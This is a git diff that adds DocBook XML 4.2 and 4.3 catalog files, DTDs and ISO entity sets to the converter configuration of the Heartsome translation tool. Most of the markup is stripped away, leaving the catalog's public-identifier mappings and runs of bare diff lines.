+ + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + +%tablemodel; + +]]> + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + ]]> + + + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + + +]]> + + + + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbook.cat b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbook.cat new file mode 100644 index 0000000..8ad893d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbook.cat @@ -0,0 +1,110 @@ + -- ...................................................................... -- + -- Catalog data for DocBook XML V4.2 .................................... -- + -- File docbook.cat ..................................................... -- + + -- Please direct all questions, bug reports, or suggestions for + changes to the docbook@lists.oasis-open.org mailing list. For more + information, see http://www.oasis-open.org/. + -- + + -- This is the catalog data file for DocBook XML V4.2. It is provided as + a convenience in building your own catalog files. You need not use + the filenames listed here, and need not use the filename method of + identifying storage objects at all. See the documentation for + detailed information on the files associated with the DocBook DTD. + See SGML Open Technical Resolution 9401 for detailed information + on supplying and using catalog data. + -- + + -- ...................................................................... -- + -- DocBook driver file .................................................. -- + +PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN" + "docbookx.dtd" + + -- ...................................................................... -- + -- DocBook modules ...................................................... -- + +PUBLIC "-//OASIS//DTD DocBook CALS Table Model V4.2//EN" + "calstblx.dtd" + +PUBLIC "-//OASIS//DTD XML Exchange Table Model 19990315//EN" + "soextblx.dtd" + +PUBLIC "-//OASIS//ELEMENTS DocBook Information Pool V4.2//EN" + "dbpoolx.mod" + +PUBLIC "-//OASIS//ELEMENTS DocBook Document Hierarchy V4.2//EN" + "dbhierx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Additional General Entities V4.2//EN" + "dbgenent.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Notations V4.2//EN" + "dbnotnx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Character Entities V4.2//EN" + "dbcentx.mod" + + -- ...................................................................... -- + -- ISO entity sets ...................................................... -- + +PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN//XML" + "ent/iso-dia.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN//XML" + "ent/iso-num.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Publishing//EN//XML" + "ent/iso-pub.ent" + +PUBLIC "ISO 8879:1986//ENTITIES General Technical//EN//XML" + "ent/iso-tech.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN//XML" + "ent/iso-lat1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 2//EN//XML" + "ent/iso-lat2.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Letters//EN//XML" + "ent/iso-grk1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Monotoniko Greek//EN//XML" + "ent/iso-grk2.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Symbols//EN//XML" + "ent/iso-grk3.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Alternative Greek Symbols//EN//XML" + "ent/iso-grk4.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Arrow Relations//EN//XML" + "ent/iso-amsa.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Binary Operators//EN//XML" + "ent/iso-amsb.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Delimiters//EN//XML" + "ent/iso-amsc.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Negated Relations//EN//XML" + "ent/iso-amsn.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Ordinary//EN//XML" + "ent/iso-amso.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Relations//EN//XML" + "ent/iso-amsr.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Box and Line Drawing//EN//XML" + "ent/iso-box.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Russian Cyrillic//EN//XML" + "ent/iso-cyr1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Non-Russian Cyrillic//EN//XML" + "ent/iso-cyr2.ent" + + -- End of catalog data for DocBook XML V4.2 ............................. -- + -- ...................................................................... -- diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbookx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbookx.dtd new file mode 100644 index 0000000..a6895eb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/docbookx.dtd @@ -0,0 +1,165 @@ + + + + + + + + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + +]]> + + + +]]> + + + + + + +%dbnotn; +]]> + + + + + + +]]> + +]]> + + +%dbcent; +]]> + + + + + + + + +%dbpool; +]]> + + + + + + +%rdbmods; +]]> + + + + + +%dbhier; +]]> + + + + + + +%dbgenent; +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsa.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsa.ent new file mode 100644 index 0000000..013464e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsa.ent @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsb.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsb.ent new file mode 100644 index 0000000..074a110 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsb.ent @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsc.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsc.ent new file mode 100644 index 0000000..6160942 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsc.ent @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsn.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsn.ent new file mode 100644 index 0000000..13fcdf3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsn.ent @@ -0,0 +1,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amso.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amso.ent new file mode 100644 index 0000000..ad5ad2a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amso.ent @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsr.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsr.ent new file mode 100644 index 0000000..873de3e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-amsr.ent @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-box.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-box.ent new file mode 100644 index 0000000..4d39879 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-box.ent @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr1.ent new file mode 100644 index 0000000..f937b2c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr1.ent @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr2.ent new file mode 100644 index 0000000..ce9494c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-cyr2.ent @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-dia.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-dia.ent new file mode 100644 index 0000000..36bf5a7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-dia.ent @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk1.ent new file mode 100644 index 0000000..a543ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk1.ent @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk2.ent new file mode 100644 index 0000000..a1dfad9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk2.ent @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk3.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk3.ent new file mode 100644 index 0000000..68ffd88 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk3.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk4.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk4.ent new file mode 100644 index 0000000..fd7ee10 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-grk4.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat1.ent new file mode 100644 index 0000000..0347523 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat1.ent @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat2.ent new file mode 100644 index 0000000..29b7da3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-lat2.ent @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-num.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-num.ent new file mode 100644 index 0000000..312af50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-num.ent @@ -0,0 +1,81 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-pub.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-pub.ent new file mode 100644 index 0000000..6905ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-pub.ent @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-tech.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-tech.ent new file mode 100644 index 0000000..55ab939 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/iso-tech.ent @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/soextblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/soextblx.dtd new file mode 100644 index 0000000..4c84d85 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/soextblx.dtd @@ -0,0 +1,308 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/calstblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/calstblx.dtd new file mode 100644 index 0000000..41e847c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/calstblx.dtd @@ -0,0 +1,205 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/catalog.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/catalog.xml new file mode 100644 index 0000000..3ef1410 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/catalog.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbcentx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbcentx.mod new file mode 100644 index 0000000..1cac41a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbcentx.mod @@ -0,0 +1,384 @@ + + + + + + + + + + + + + + +]]> + + + +]]> + 